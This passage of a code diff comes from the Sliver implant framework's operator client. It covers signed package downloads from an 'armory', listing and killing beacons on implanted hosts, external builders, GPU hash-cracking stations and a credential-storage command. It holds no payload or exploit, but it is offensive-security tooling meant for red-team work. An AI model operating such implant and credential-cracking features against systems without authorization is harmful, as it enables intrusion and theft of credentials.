repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
pkgResp := &armoryPkgResponse{}
err = json.Unmarshal(body, pkgResp)
if err != nil {
return nil, nil, err
}
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
if err != nil {
return nil, nil, err
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
return nil, nil, errors.New("invalid url scheme")
}
resp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, nil, errors.New("api returned non-200 status code")
}
}
return sig, tarGz, nil
}
//
// GitHub API Parsers
//
type GithubAsset struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
Size int `json:"size"`
BrowserDownloadURL string `json:"browser_download_url"`
}
type GithubRelease struct {
ID int `json:"id"`
Name string `json:"name"`
URL string `json:"url"`
HTMLURL string `json:"html_url"`
TagName string `json:"tag_name"`
Body string `json:"body"`
Prerelease bool `json:"prerelease"`
TarballURL string `json:"tarball_url"`
ZipballURL string `json:"zipball_url"`
CreatedAt string `json:"created_at"`
PublishedAt string `json:"published_at"`
Assets []GithubAsset `json:"assets"`
}
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, err
}
if len(releases) < 1 {
return nil, errors.New("no releases found")
}
release := releases[0] // Latest only right now
var armoryIndexData []byte
var sigData []byte
for _, asset := range release.Assets {
if asset.Name == armoryIndexFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
armoryIndexData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
if asset.Name == armoryIndexSigFileName {
resp, err := client.Get(asset.BrowserDownloadURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
sigData, err = ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
}
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
if !valid {
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, nil, errors.New("api returned non-200 status code")
}
releases := []GithubRelease{}
err = json.Unmarshal(body, &releases)
if err != nil {
return nil, nil, err
}
release := releases[0] // Latest only right now
var sig *minisign.Signature
var tarGz []byte
for _, asset := range release.Assets {
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
var body []byte
body, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
sig, err = parsePkgMinsig(body)
if err != nil {
break
}
}
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
var resp *http.Response
resp, err = client.Get(asset.BrowserDownloadURL)
if err != nil {
break
}
defer resp.Body.Close()
tarGz, err = ioutil.ReadAll(resp.Body)
if err != nil {
break
}
}
}
return sig, tarGz, err
}
//
// GitHub Parsers
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
sigResp, err := client.Get(sigURL.String())
if err != nil {
return nil, nil, err
}
defer sigResp.Body.Close()
if sigResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
}
var body []byte
body, err = ioutil.ReadAll(sigResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGzResp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer tarGzResp.Body.Close()
if tarGzResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
}
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
}
}
return sig, tarGz, nil
}
// We need to intercept the 302 redirect to determine the latest version tag
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
client := httpClient(clientConfig)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
latestURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
latestRedirect, err := client.Get(latestURL.String())
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
if latestRedirect.Header.Get("Location") == "" {
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
}
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
if err != nil {
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
}
pathSegments := strings.Split(latestLocationURL.Path, "/")
for index, segment := range pathSegments {
if segment == "tag" && index+1 < len(pathSegments) {
return pathSegments[index+1], nil
}
}
return "", errors.New("tag not found in location header")
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
if err != nil {
return nil, err
}
if len(sig.TrustedComment) < 1 {
return nil, errors.New("missing trusted comment")
}
return &sig, nil
}
func httpClient(config ArmoryHTTPConfig) *http.Client {
return &http.Client{
Timeout: config.Timeout,
Transport: &http.Transport{
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
},
},
}
}
-65
View File
@@ -1,65 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"regexp"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmorySearchCmd - Search for packages by name
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
rawNameExpr := ctx.Args.String("name")
if rawNameExpr == "" {
con.PrintErrorf("Please specify a search term!\n")
return
}
nameExpr, err := regexp.Compile(rawNameExpr)
if err != nil {
con.PrintErrorf("Invalid regular expression: %s\n", err)
return
}
aliases, exts := packagesInCache()
matchedAliases := []*alias.AliasManifest{}
for _, a := range aliases {
if nameExpr.MatchString(a.CommandName) {
matchedAliases = append(matchedAliases, a)
}
}
matchedExts := []*extensions.ExtensionManifest{}
for _, ext := range exts {
if nameExpr.MatchString(ext.CommandName) {
matchedExts = append(matchedExts, ext)
}
}
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
return
}
PrintArmoryPackages(matchedAliases, matchedExts, con)
}
-112
View File
@@ -1,112 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
// Aliases
aliasUpdates := checkForAliasUpdates(clientConfig, con)
if 0 < len(aliasUpdates) {
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
for _, aliasName := range aliasUpdates {
err := installAliasPackageByName(aliasName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
}
}
} else {
con.PrintInfof("All aliases up to date!\n")
}
// Extensions
extUpdates := checkForExtensionUpdates(clientConfig, con)
if 0 < len(extUpdates) {
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
for _, extName := range extUpdates {
err := installExtensionPackageByName(extName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
}
}
} else {
con.PrintInfof("All extensions up to date!\n")
}
}
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
cachedAliases, _ := packagesInCache()
results := []string{}
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := ioutil.ReadFile(aliasManifestPath)
if err != nil {
continue
}
localManifest, err := alias.ParseAliasManifest(data)
if err != nil {
continue
}
for _, latestAlias := range cachedAliases {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
_, cachedExtensions := packagesInCache()
results := []string{}
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := ioutil.ReadFile(extManifestPath)
if err != nil {
continue
}
localManifest, err := extensions.ParseExtensionManifest(data)
if err != nil {
continue
}
for _, latestExt := range cachedExtensions {
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
// the armory differs at all from the local version, the extension is out of date.
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
results = append(results, localManifest.CommandName)
}
}
}
return results
}
+30 -61
View File
@@ -21,7 +21,6 @@ package beacons
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -32,7 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
)
// BeaconsCmd - Display/interact with beacons
@@ -47,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, ctx, con)
err = kill.KillBeacon(beacon, false, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -63,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, ctx, con)
err = kill.KillBeacon(beacon, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -72,45 +71,35 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
PrintBeacons(beacons.Beacons, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, filter, filterRegex, con)
tw := renderBeacons(beacons, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if 182 < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -120,7 +109,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -143,57 +131,38 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
color = console.Green
}
// We need a slice of strings so we can apply filters
var rowEntries []string
if wideTermWidth {
rowEntries = []string{
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if 182 < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
rowEntries = []string{
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
}
return tw
+1 -1
View File
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Since(nextCheckin)
delta := time.Now().Sub(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
+1 -1
View File
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, "", nil, con)
tw := renderBeacons(beacons.Beacons, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
-71
View File
@@ -1,71 +0,0 @@
package builders
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// BuildersCmd - List external builders
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if len(builders.Builders) == 0 {
con.PrintInfof("No external builders connected to server\n")
} else {
PrintBuilders(builders.Builders, con)
}
}
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
})
for _, builder := range externalBuilders {
targets := []string{}
for _, target := range builder.Targets {
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
}
row := table.Row{
builder.Name,
builder.OperatorName,
strings.Join(builder.Templates, ", "),
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
strings.Join(targets, "\n"),
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
}
+133 -1020
View File
File diff suppressed because it is too large. Load diff
-4
View File
@@ -1,4 +0,0 @@
Completers
===========
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
-63
View File
@@ -1,63 +0,0 @@
package completers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
)
// LocalPathCompleter - Completes a local file system path
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
var parent string
var partial string
fi, err := os.Stat(prefix)
if os.IsNotExist(err) {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
} else {
if fi.IsDir() {
parent = prefix
partial = ""
} else {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
}
}
results := []string{}
ls, err := ioutil.ReadDir(parent)
if err != nil {
return results
}
for _, fi = range ls {
if 0 < len(partial) {
if strings.HasPrefix(fi.Name(), partial) {
results = append(results, filepath.Join(parent, fi.Name()))
}
} else {
results = append(results, filepath.Join(parent, fi.Name()))
}
}
return results
}
-118
View File
@@ -1,118 +0,0 @@
package crack
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"sort"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CrackCmd - GPU password cracking interface
func CrackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !AreCrackersOnline(con) {
PrintNoCrackstations(con)
return
}
// do stuff
}
// CrackStationsCmd - Manage GPU cracking stations
func CrackStationsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(crackers.Crackstations) == 0 {
PrintNoCrackstations(con)
} else {
PrintCrackers(crackers.Crackstations, con)
}
}
func PrintNoCrackstations(con *console.SliverConsoleClient) {
con.PrintInfof("No crackstations connected to server\n")
}
func AreCrackersOnline(con *console.SliverConsoleClient) bool {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil {
return false
}
return len(crackers.Crackstations) > 0
}
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) {
sort.Slice(crackers, func(i, j int) bool {
return crackers[i].Name < crackers[j].Name
})
for index, cracker := range crackers {
printCracker(cracker, index, con)
if index < len(crackers)-1 {
con.Println()
con.Println()
}
}
}
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
if 0 < len(cracker.CUDA) {
for _, cuda := range cracker.CUDA {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
}
}
if 0 < len(cracker.Metal) {
for _, metal := range cracker.Metal {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
}
}
if 0 < len(cracker.OpenCL) {
for _, openCL := range cracker.OpenCL {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
}
}
con.Printf("%s\n", tw.Render())
}
-202
View File
@@ -1,202 +0,0 @@
package creds
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"os"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
const (
UserColonHashNewlineFormat = "user:hash" // username:hash\n
HashNewlineFormat = "hash" // hash\n
CSVFormat = "csv" // username,hash\n
)
// CredsCmd - Add new credentials
func CredsAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
collection := ctx.Flags.String("collection")
username := ctx.Flags.String("username")
plaintext := ctx.Flags.String("plaintext")
hash := ctx.Flags.String("hash")
hashType := parseHashType(ctx.Flags.String("hash-type"))
if plaintext == "" && hash == "" {
con.PrintErrorf("Either a plaintext or a hash must be provided\n")
return
}
